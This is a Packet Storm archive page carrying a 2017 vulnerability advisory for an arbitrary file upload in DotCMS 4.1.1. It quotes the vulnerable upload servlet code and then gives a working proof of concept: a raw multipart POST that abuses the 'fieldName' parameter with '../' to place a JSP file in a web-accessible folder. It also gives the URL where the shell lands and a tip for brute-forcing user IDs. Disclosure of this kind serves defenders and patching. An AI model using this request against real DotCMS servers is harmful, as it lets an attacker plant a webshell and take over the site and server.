ignore security and it'll go away

DotCMS 4.1.1 Shell Upload

DotCMS 4.1.1 Shell Upload
Posted Jul 17, 2017
Authored by Xiaotian Wang

DotCMS version 4.1.1 suffers from a remote shell upload vulnerability.

tags | exploit, remote, shell
MD5 | 6662f3bad9f3f62ed6c7151df589bba6

DotCMS 4.1.1 Shell Upload

Change Mirror Download
==========================
Advisory: DotCMS /servlets/ajax_file_upload Arbitrary File Upload Vulnerability
Author: M3@pandas From DBAppSecurity Security Lab
Email: xiaotian.wang@dbappsecurity.com.cn
Affected Version: 4.1.1 the latest version
==========================
Vulnerability Description
==========================
Recetly, I found an Arbitrary File Upload Vulnerability in 'DotCMS' program, DotCMS is widely used in many companies.

Vulnerable cgi: /dotcms_4.1.1_999999.jar!/com/dotmarketing/servlets/AjaxFileUploadServlet.class:

private void doFileUpload(HttpSession session, HttpServletRequest request, HttpServletResponse response)
throws IOException
{
String fieldName = null;
AjaxFileUploadListener listener = null;
try
{
String fileName = "";

listener = new AjaxFileUploadListener(request.getContentLength());
FileItemFactory factory = new MonitoredDiskFileItemFactory(listener);
fieldName = request.getParameter("fieldName");
Enumeration params = request.getParameterNames();
session.setAttribute("FILE_UPLOAD_STATS_" + fieldName, listener.getFileUploadStats());
ServletFileUpload upload = new ServletFileUpload(factory);

List items = upload.parseRequest(request);
boolean hasError = false;
this.isEmptyFile = false;

String userId = null;
if (UtilMethods.isSet(session.getAttribute("USER_ID")))
{
userId = (String)session.getAttribute("USER_ID");
User user = UserLocalManagerUtil.getUserById(userId);
if ((!UtilMethods.isSet(user)) || (!UtilMethods.isSet(user.getUserId()))) {
throw new Exception("Could not upload File. Invalid User");
}
}
else
{
throw new Exception("Could not upload File. Invalid User");
}
for (Iterator i = items.iterator(); i.hasNext();)
{
FileItem fileItem = (FileItem)i.next();
if (!fileItem.isFormField())
{
if (fileItem.getSize() == 0L) {
this.isEmptyFile = true;
}
if (fileItem.getName().contains(File.separator)) {
fileName = fileItem.getName().substring(fileItem
.getName().lastIndexOf(File.separator) + 1);
} else {
fileName = fileItem.getName();
}
fileName = ContentletUtil.sanitizeFileName(fileName);

File tempUserFolder = new File(APILocator.getFileAssetAPI().getRealAssetPathTmpBinary() + File.separator + userId + File.separator + fieldName);
if (!isValidPath(tempUserFolder.getCanonicalPath())) {
throw new IOException("Invalid fileName or Path");
}
if (!tempUserFolder.exists()) {
tempUserFolder.mkdirs();
}
File dest = new File(tempUserFolder.getAbsolutePath() + File.separator + fileName);
if (dest.exists()) {
dest.delete();
}
fileItem.write(dest);
fileItem.delete();
}
}
if (this.isEmptyFile) {
fileName = "";
}
if (!hasError) {
sendCompleteResponse(response, null);
} else {
sendCompleteResponse(response, "Could not process uploaded file. Please see log for details.");
}
}
catch (Exception e)
{
listener.error("error");
session.setAttribute("FILE_UPLOAD_STATS_" + fieldName, listener.getFileUploadStats());
sendCompleteResponse(response, e.getMessage());
e.printStackTrace();
}
}


tempUserFolder can be controlled through paramter 'fieldName', the upload data is not filtered and the uploaded path can be user-definedi1/4so attacker with the administrator authority can upload evil jsp webshell file to control the whole web site or even the web server.
==========================
POC && EXP
==========================
1. Login as administrator
2. POST /servlets/ajax_file_upload?fieldName=../ HTTP/1.1
Host: 192.168.1.204:8080
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=--------1234995635
Cookie: your own cookies
Connection: close
Content-Length: 138

----------1234995635
Content-Disposition: form-data; name="xxx"; filename="test.jsp"

<% out.print("test_for_fun!");%>
----------1234995635--

3. shell is : http://192.168.1.204:8080/assets/tmp_upload/test.jsp

Attension: In some other cases: 'filedName=' , then shell will be in 'assets/tmp_upload/dotcms.org.1/' like this:http://192.168.1.204:8080/assets/tmp_upload/dotcms.org.1/test.jsp , 'dotcms.org.1' is your userid, even if you do not know your userid, you can bruteforce the number behind ' dotcms.org.' .

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

October 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    15 Files
  • 2
    Oct 2nd
    16 Files
  • 3
    Oct 3rd
    15 Files
  • 4
    Oct 4th
    15 Files
  • 5
    Oct 5th
    11 Files
  • 6
    Oct 6th
    6 Files
  • 7
    Oct 7th
    2 Files
  • 8
    Oct 8th
    1 Files
  • 9
    Oct 9th
    13 Files
  • 10
    Oct 10th
    16 Files
  • 11
    Oct 11th
    15 Files
  • 12
    Oct 12th
    23 Files
  • 13
    Oct 13th
    13 Files
  • 14
    Oct 14th
    12 Files
  • 15
    Oct 15th
    2 Files
  • 16
    Oct 16th
    16 Files
  • 17
    Oct 17th
    16 Files
  • 18
    Oct 18th
    15 Files
  • 19
    Oct 19th
    10 Files
  • 20
    Oct 20th
    7 Files
  • 21
    Oct 21st
    4 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close